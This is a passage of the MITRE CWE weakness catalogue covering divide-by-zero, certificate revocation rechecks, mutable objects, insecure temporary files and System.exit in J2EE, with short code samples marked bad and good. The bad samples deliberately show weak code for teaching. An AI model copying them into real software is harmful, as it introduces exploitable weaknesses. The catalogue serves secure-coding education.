The following C# example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

Example Language: C# *(bad)*

```
int Division(int x, int y){
    return (x / y);
}
```

The method can be modified to raise, catch and handle the DivideByZeroException if the input value used as the denominator is zero.

Example Language: *(good)*

```
int SafeDivision(int x, int y){
    try{
        return (x / y);
    }
    catch (System.DivideByZeroException dbz){
        System.Console.WriteLine("Division by zero attempted!");
        return 0;
    }
}
```

Observed Examples

Reference	Description
CVE-2007-3268	Invalid size value leads to divide by zero. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3268*
CVE-2007-2723	"Empty" content triggers divide by zero. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2723*
CVE-2007-2237	Height value of 0 triggers divide by zero. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2237*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	1879
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	1882
MemberOf	C	739	CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)	734	1883
MemberOf	C	848	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM)	844	1903
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	1914
MemberOf	C	873	CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)	868	1915

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958
MemberOf	C	1137	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)	1133	1985
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	1995

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT C Secure Coding	FLP03-C		Detect and handle floating point errors
CERT C Secure Coding	INT33-C	Exact	Ensure that division and remainder operations do not result in divide-by-zero errors
The CERT Oracle Secure Coding Standard for Java (2011)	NUM02-J		Ensure that division and modulo operations do not result in divide-by-zero errors
Software Fault Patterns	SFP1		Glitch in computation

CWE-370: Missing Check for Certificate Revocation after Initial Check

Weakness ID : 370 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software does not check the revocation status of a certificate after its initial revocation check, which can cause the software to perform privileged actions even after the certificate is revoked at a later time.

Extended Description

If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	299	Improper Check for Certificate Revocation	661
PeerOf	B	296	Improper Following of a Certificate's Chain of Trust	653
PeerOf	V	297	Improper Validation of Certificate with Host Mismatch	656
PeerOf	V	298	Improper Validation of Certificate Expiration	659

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	1969

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *Trust may be assigned to an entity who is not who it claims to be.*	
Integrity	Modify Application Data *Data from an untrusted (and possibly malicious) source may be integrated.*	
Confidentiality	Read Application Data *Data may be disclosed to an entity impersonating a trusted entity, resulting in information disclosure.*	

Potential Mitigations

Phase: Architecture and Design

Ensure that certificates are checked for revoked status before each use of a protected resource. If the certificate is checked before each access of a protected resource, the delay subject to a possible race condition becomes almost negligible and significantly reduces the risk associated with this issue.

Demonstrative Examples

Example 1:

The following code checks a certificate before performing an action.

Example Language: C *(bad)*

```
if (cert = SSL_get_peer_certificate(ssl)) {
    foo=SSL_get_verify_result(ssl);
    if (X509_V_OK==foo)
        //do stuff
        foo=SSL_get_verify_result(ssl);
        //do more stuff without the check.
```

While the code performs the certificate verification before each action, it does not check the result of the verification after the initial attempt. The certificate may have been revoked in the time between the privileged actions.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	988	SFP Secondary Cluster: Race Condition Window	888	1952

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Race condition in checking for certificate revocation
Software Fault Patterns	SFP20		Race Condition Window

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
26	Leveraging Race Conditions
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-372: Incomplete Internal State Distinction

Weakness ID : 372 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not properly determine which state it is in, causing it to assume it is in state X when in fact it is in state Y, causing it to perform incorrect operations in a security-relevant manner.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	371	State Issues	1861

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	
Other	Unexpected State	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1940

Notes

Relationship

This conceptually overlaps other categories such as insufficient verification, but this entry refers to the product's incorrect perception of its own state.

Relationship

This is probably resultant from other weaknesses such as unhandled error conditions, inability to handle out-of-order steps, multiple interpretation errors, etc.

Maintenance

This entry is being considered for deprecation. It was poorly-defined in PLOVER and is not easily described using the behavior/resource/property model of vulnerability theory.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Incomplete Internal State Distinction

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
74	Manipulating User State
140	Bypassing of Intermediate Forms in Multiple-Form Sets

CWE-374: Passing Mutable Objects to an Untrusted Method

Weakness ID : 374 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The program sends non-cloned mutable data as an argument to a method or function.

Extended Description

The function or method that has been called can alter or delete the mutable data. This could violate assumptions that the calling function has made about its state. In situations where unknown code is called with references to mutable data, this external code could make changes to the data sent. If this data was not previously cloned, the modified data might not be valid in the context of execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	371	State Issues	1861

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory *Potentially data could be tampered with by another function which should not have been tampered with.*	

Potential Mitigations

Phase: Implementation

Pass in data which should not be altered as constant or immutable.

Phase: Implementation

Clone all mutable data before passing it into an external function . This is the preferred mitigation. This way, regardless of what changes are made to the data, a valid copy is retained for use by the class.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(bad)*

```
private:
   int foo;
   complexType bar;
   String baz;
   otherClass externalClass;
public:
   void doStuff() {
      externalClass.doOtherStuff(foo, bar, baz)
   }
```

In this example, bar and baz will be passed by reference to doOtherStuff() which may change them.

Example 2:

In the following Java example, the BookStore class manages the sale of books in a bookstore, this class includes the member objects for the bookstore inventory and sales database manager classes. The BookStore class includes a method for updating the sales database and inventory when a book is sold. This method retrieves a Book object from the bookstore inventory object using the supplied ISBN number for the book class, then calls a method for the sales object to update the sales information and then calls a method for the inventory object to update inventory for the BookStore.

Example Language: Java *(bad)*

```
public class BookStore {
   private BookStoreInventory inventory;
   private SalesDBManager sales;
   ...
   // constructor for BookStore
   public BookStore() {
      this.inventory = new BookStoreInventory();
      this.sales = new SalesDBManager();
      ...
```

```
    }
    public void updateSalesAndInventoryForBookSold(String bookISBN) {
        // Get book object from inventory using ISBN
        Book book = inventory.getBookWithISBN(bookISBN);
        // update sales information for book sold
        sales.updateSalesInformation(book);
        // update inventory
        inventory.updateInventory(book);
    }
    // other BookStore methods
    ...
}
public class Book {
    private String title;
    private String author;
    private String isbn;
    // Book object constructors and get/set methods
    ...
}
```

However, in this example the Book object that is retrieved and passed to the method of the sales object could have its contents modified by the method. This could cause unexpected results when the book object is sent to the method for the inventory object to update the inventory.

In the Java programming language arguments to methods are passed by value, however in the case of objects a reference to the object is passed by value to the method. When an object reference is passed as a method argument a copy of the object reference is made within the method and therefore both references point to the same object. This allows the contents of the object to be modified by the method that holds the copy of the object reference. [REF-374]

In this case the contents of the Book object could be modified by the method of the sales object prior to the call to update the inventory.

To prevent the contents of the Book object from being modified, a copy of the Book object should be made before the method call to the sales object. In the following example a copy of the Book object is made using the clone() method and the copy of the Book object is passed to the method of the sales object. This will prevent any changes being made to the original Book object.

Example Language: Java *(good)*

```
...
public void updateSalesAndInventoryForBookSold(String bookISBN) {
    // Get book object from inventory using ISBN
    Book book = inventory.getBookWithISBN(bookISBN);
    // Create copy of book object to make sure contents are not changed
    Book bookSold = (Book) book.clone();
    // update sales information for book sold
    sales.updateSalesInformation(bookSold);
    // update inventory
    inventory.updateInventory(book);
}
...
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	1904
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Nature	Type	ID	Name	V	Page
MemberOf	C	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	1986

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Passing mutable objects to an untrusted method
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ04-J		Provide mutable classes with copy functionality to safely allow passing instances to untrusted code
Software Fault Patterns	SFP23		Exposed Data

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-374]Tony Sintes. "Does Java pass by reference or pass by value?". JavaWorld.com. 2000 May 6. < http://www.javaworld.com/javaworld/javaqa/2000-05/03-qa-0526-pass.html >.

[REF-375]Herbert Schildt. "Java: The Complete Reference, J2SE 5th Edition".

CWE-375: Returning a Mutable Object to an Untrusted Caller

Weakness ID : 375 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

Sending non-cloned mutable data as a return value may result in that data being altered or deleted by the calling function.

Extended Description

In situations where functions return references to mutable data, it is possible that the external code which called the function may make changes to the data sent. If this data was not previously cloned, the class will then be using modified data which may violate assumptions about its internal state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	668	Exposure of Resource to Wrong Sphere	1305

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	371	State Issues	1861

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control Integrity	Modify Memory *Potentially data could be tampered with by another function which should not have been tampered with.*	

Potential Mitigations

Phase: Implementation

Declare returned data which should not be altered as constant or immutable.

Phase: Implementation

Clone all mutable data before returning references to it. This is the preferred mitigation. This way, regardless of what changes are made to the data, a valid copy is retained for use by the class.

Demonstrative Examples

Example 1:

This class has a private list of patients, but provides a way to see the list :

Example Language: Java *(bad)*

```
public class ClinicalTrial {
   private PatientClass[] patientList = new PatientClass[50];
   public getPatients(...){
      return patientList;
   }
}
```

While this code only means to allow reading of the patient list, the getPatients() method returns a reference to the class's original patient list instead of a reference to a copy of the list. Any caller of this method can arbitrarily modify the contents of the patient list even though it is a private member of the class.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	1904
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940
MemberOf	C	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	1986

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Mutable object returned
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ04-J		Provide mutable classes with copy functionality to safely allow passing instances to untrusted code

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ05-J		Defensively copy private mutable class members before returning their references
SEI CERT Perl Coding Standard	EXP34-PL	Imprecise	Do not modify $_ in list or sorting functions
Software Fault Patterns	SFP23		Exposed Data

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-377: Insecure Temporary File

Weakness ID : 377 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

Creating and using insecure temporary files can leave application and system data vulnerable to attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305
ParentOf	B	378	Creation of Temporary File With Insecure Permissions	832
ParentOf	B	379	Creation of Temporary File in Directory with Insecure Permissions	834

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Files or Directories Modify Files or Directories	

Demonstrative Examples

Example 1:

The following code uses a temporary file for storing intermediate data gathered from the network before it is processed.

Example Language: C *(bad)*

```
if (tmpnam_r(filename)) {
    FILE* tmp = fopen(filename,"wb+");
    while((recv(sock,recvbuf,DATA_SIZE, 0) > 0)&(amt!=0)) amt = fwrite(recvbuf,1,DATA_SIZE,tmp);
}
...
```

This otherwise unremarkable code is vulnerable to a number of different attacks because it relies on an insecure method for creating temporary files. The vulnerabilities introduced by this function and others are described in the following sections. The most egregious security problems related to temporary file creation have occurred on Unix-based operating systems, but Windows applications have parallel risks. This section includes a discussion of temporary file creation on both Unix and Windows systems. Methods and behaviors can vary between systems, but the fundamental risks introduced by each are reasonably constant.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	361	7PK - Time and State	700	1860
MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	1908
MemberOf	C	964	SFP Secondary Cluster: Exposure Temporary File	888	1942
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	1990
MemberOf	C	1169	SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)	1154	2001

Notes

Other

Applications require temporary files so frequently that many different mechanisms exist for creating them in the C Library and Windows(R) API. Most of these functions are vulnerable to various forms of attacks. The functions designed to aid in the creation of temporary files can be broken into two groups based whether they simply provide a filename or actually open a new file. - Group 1: "Unique" Filenames: The first group of C Library and WinAPI functions designed to help with the process of creating temporary files do so by generating a unique file name for a new temporary file, which the program is then supposed to open. This group includes C Library functions like tmpnam(), tempnam(), mktemp() and their C++ equivalents prefaced with an _ (underscore) as well as the GetTempFileName() function from the Windows API. This group of functions suffers from an underlying race condition on the filename chosen. Although the functions guarantee that the filename is unique at the time it is selected, there is no mechanism to prevent another process or an attacker from creating a file with the same name after it is selected but before the application attempts to open the file. Beyond the risk of a legitimate collision caused by another call to the same function, there is a high probability that an attacker will be able to create a malicious collision because the filenames generated by these functions are not sufficiently randomized to make them difficult to guess. If a file with the selected name is created, then depending on how the file is opened the existing contents or access permissions of the file may remain intact. If the existing contents of the file are malicious in nature, an attacker may be able to inject dangerous data into the application when it reads data back from the temporary file. If an attacker pre-creates the file with relaxed access permissions, then data stored in the temporary file by the application may be accessed, modified or corrupted by an attacker. On Unix based systems an even more insidious attack is possible if the attacker pre-creates the file as a link to another important file. Then, if the application truncates or writes data to the file, it may unwittingly perform damaging operations for the attacker. This is an especially serious threat if the program operates with elevated permissions. Finally, in the best case the file will be opened with the a call to open() using the O_CREAT and O_EXCL flags or to CreateFile() using the CREATE_NEW attribute, which will fail if the file already exists and therefore prevent the types of attacks described above. However, if an attacker is able to accurately predict a sequence of temporary file names, then the application may be prevented from opening necessary temporary storage causing a denial of service (DoS) attack. This type of attack

would not be difficult to mount given the small amount of randomness used in the selection of the filenames generated by these functions. - Group 2: "Unique" Files: The second group of C Library functions attempts to resolve some of the security problems related to temporary files by not only generating a unique file name, but also opening the file. This group includes C Library functions like tmpfile() and its C++ equivalents prefaced with an _ (underscore), as well as the slightly better-behaved C Library function mkstemp(). The tmpfile() style functions construct a unique filename and open it in the same way that fopen() would if passed the flags "wb+", that is, as a binary file in read/write mode. If the file already exists, tmpfile() will truncate it to size zero, possibly in an attempt to assuage the security concerns mentioned earlier regarding the race condition that exists between the selection of a supposedly unique filename and the subsequent opening of the selected file. However, this behavior clearly does not solve the function's security problems. First, an attacker can pre-create the file with relaxed access-permissions that will likely be retained by the file opened by tmpfile(). Furthermore, on Unix based systems if the attacker pre-creates the file as a link to another important file, the application may use its possibly elevated permissions to truncate that file, thereby doing damage on behalf of the attacker. Finally, if tmpfile() does create a new file, the access permissions applied to that file will vary from one operating system to another, which can leave application data vulnerable even if an attacker is unable to predict the filename to be used in advance. Finally, mkstemp() is a reasonably safe way create temporary files. It will attempt to create and open a unique file based on a filename template provided by the user combined with a series of randomly generated characters. If it is unable to create such a file, it will fail and return -1. On modern systems the file is opened using mode 0600, which means the file will be secure from tampering unless the user explicitly changes its access permissions. However, mkstemp() still suffers from the use of predictable file names and can leave an application vulnerable to denial of service attacks if an attacker causes mkstemp() to fail by predicting and pre-creating the filenames to be used.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Insecure Temporary File
CERT C Secure Coding	CON33-C	Imprecise	Avoid race conditions when using library functions
The CERT Oracle Secure Coding Standard for Java (2011)	FIO00-J		Do not operate on files in shared directories

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
155	Screen Temporary Files for Sensitive Information

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-378: Creation of Temporary File With Insecure Permissions

Weakness ID : 378 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

Opening temporary files without appropriate measures or controls can leave the file, its contents and any function that it impacts vulnerable to attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	377	Insecure Temporary File	829

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1219	File Handling Issues	2017

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *If the temporary file can be read by the attacker, sensitive information may be in that file which could be revealed.*	
Authorization Other	Other *If that file can be written to by the attacker, the file might be moved into a place to which the attacker does not have access. This will allow the attacker to gain selective resource access-control privileges.*	
Integrity Other	Other *Depending on the data stored in the temporary file, there is the potential for an attacker to gain an additional input vector which is trusted as non-malicious. It may be possible to make arbitrary changes to data structures, user information, or even process ownership.*	

Potential Mitigations

Phase: Requirements

Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.

Phase: Implementation

Ensure that you use proper file permissions. This can be achieved by using a safe temp file function. Temporary files should be writable and readable only by the process that owns the file.

Phase: Implementation

Randomize temporary file names. This can also be achieved by using a safe temp-file function. This will ensure that temporary files will not be created in predictable places.

Demonstrative Examples

Example 1:

In the following code examples a temporary file is created and written to and after using the temporary file the file is closed and deleted from the file system.

Example Language: C *(bad)*

```
FILE *stream;
if( (stream = tmpfile()) == NULL ) {
    perror("Could not open new temporary file\n");
    return (-1);
}
// write data to tmp file
...
// remove tmp file
rmtmp();
```

However, within this C/C++ code the method tmpfile() is used to create and open the temp file. The tmpfile() method works the same way as the fopen() method would with read/write permission, allowing attackers to read potentially sensitive information contained in the temp file or modify the contents of the file.

Example Language: Java *(bad)*

```
try {
    File temp = File.createTempFile("pattern", ".suffix");
    temp.deleteOnExit();
    BufferedWriter out = new BufferedWriter(new FileWriter(temp));
    out.write("aString");
    out.close();
}
catch (IOException e) {
}
```

Similarly, the createTempFile() method used in the Java code creates a temp file that may be readable and writable to all users.

Additionally both methods used above place the file into a default directory. On UNIX systems the default directory is usually "/tmp" or "/var/tmp" and on Windows systems the default directory is usually "C:\\Windows\\Temp", which may be easily accessible to attackers, possibly enabling them to read and modify the contents of the temp file.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	964	SFP Secondary Cluster: Exposure Temporary File	888	1942

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Improper temp file opening

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-379: Creation of Temporary File in Directory with Insecure Permissions

Weakness ID : 379 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software creates a temporary file in a directory whose permissions allow unintended actors to determine the file's existence or otherwise access that file.

Extended Description

On some operating systems, the fact that the temporary file exists may be apparent to any user with sufficient privileges to access that directory. Since the file is visible, the application that is using the temporary file could be known. If one has access to list the processes on the system, the attacker has gained information about what the user is doing at that time. By correlating this with the applications the user is running, an attacker could potentially discover what a user's actions are. From this, higher levels of security could be breached.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	377	Insecure Temporary File	829

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1219	File Handling Issues	2017

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Since the file is visible and the application which is using the temp file could be known, the attacker has gained information about what the user is doing at that time.*	

Potential Mitigations

Phase: Requirements

Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.

Phase: Implementation

Try to store sensitive tempfiles in a directory which is not world readable -- i.e., per-user directories.

Phase: Implementation

Avoid using vulnerable temp file functions.

Demonstrative Examples

Example 1:

In the following code examples a temporary file is created and written to and after using the temporary file the file is closed and deleted from the file system.

Example Language: C *(bad)*

```
FILE *stream;
if( (stream = tmpfile()) == NULL ) {
    perror("Could not open new temporary file\n");
    return (-1);
}
// write data to tmp file
...
// remove tmp file
rmtmp();
```

However, within this C/C++ code the method tmpfile() is used to create and open the temp file. The tmpfile() method works the same way as the fopen() method would with read/write permission, allowing attackers to read potentially sensitive information contained in the temp file or modify the contents of the file.

Example Language: Java *(bad)*

```
try {
    File temp = File.createTempFile("pattern", ".suffix");
    temp.deleteOnExit();
    BufferedWriter out = new BufferedWriter(new FileWriter(temp));
    out.write("aString");
    out.close();
}
catch (IOException e) {
}
```

Similarly, the createTempFile() method used in the Java code creates a temp file that may be readable and writable to all users.

Additionally both methods used above place the file into a default directory. On UNIX systems the default directory is usually "/tmp" or "/var/tmp" and on Windows systems the default directory is usually "C:\\Windows\\Temp", which may be easily accessible to attackers, possibly enabling them to read and modify the contents of the temp file.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	C	964	SFP Secondary Cluster: Exposure Temporary File	888	1942

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Guessed or visible temporary file
CERT C Secure Coding	FIO15-C		Ensure that file operations are performed in a secure directory

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-382: J2EE Bad Practices: Use of System.exit()

Weakness ID : 382 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

A J2EE application uses System.exit(), which also shuts down its container.

Extended Description

It is never a good idea for a web application to attempt to shut down the application container. Access to a function that can shut down the application is an avenue for Denial of Service (DoS) attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	705	Incorrect Control Flow Scoping	1359

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

The shutdown function should be a privileged function available only to a properly authorized administrative user

Phase: Implementation

Web applications should not call methods that cause the virtual machine to exit, such as System.exit()

Phase: Implementation

Web applications should also not throw any Throwables to the application server as this may adversely affect the container.

Phase: Implementation

Non-web applications may have a main() method that contains a System.exit(), but generally should not call System.exit() from other locations in the code

Demonstrative Examples

Example 1:

Included in the doPost() method defined below is a call to System.exit() in the event of a specific exception.

Example Language: Java *(bad)*

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: " + ase.toString());
        System.exit(1);
    }
}
```

MemberOf Relationships

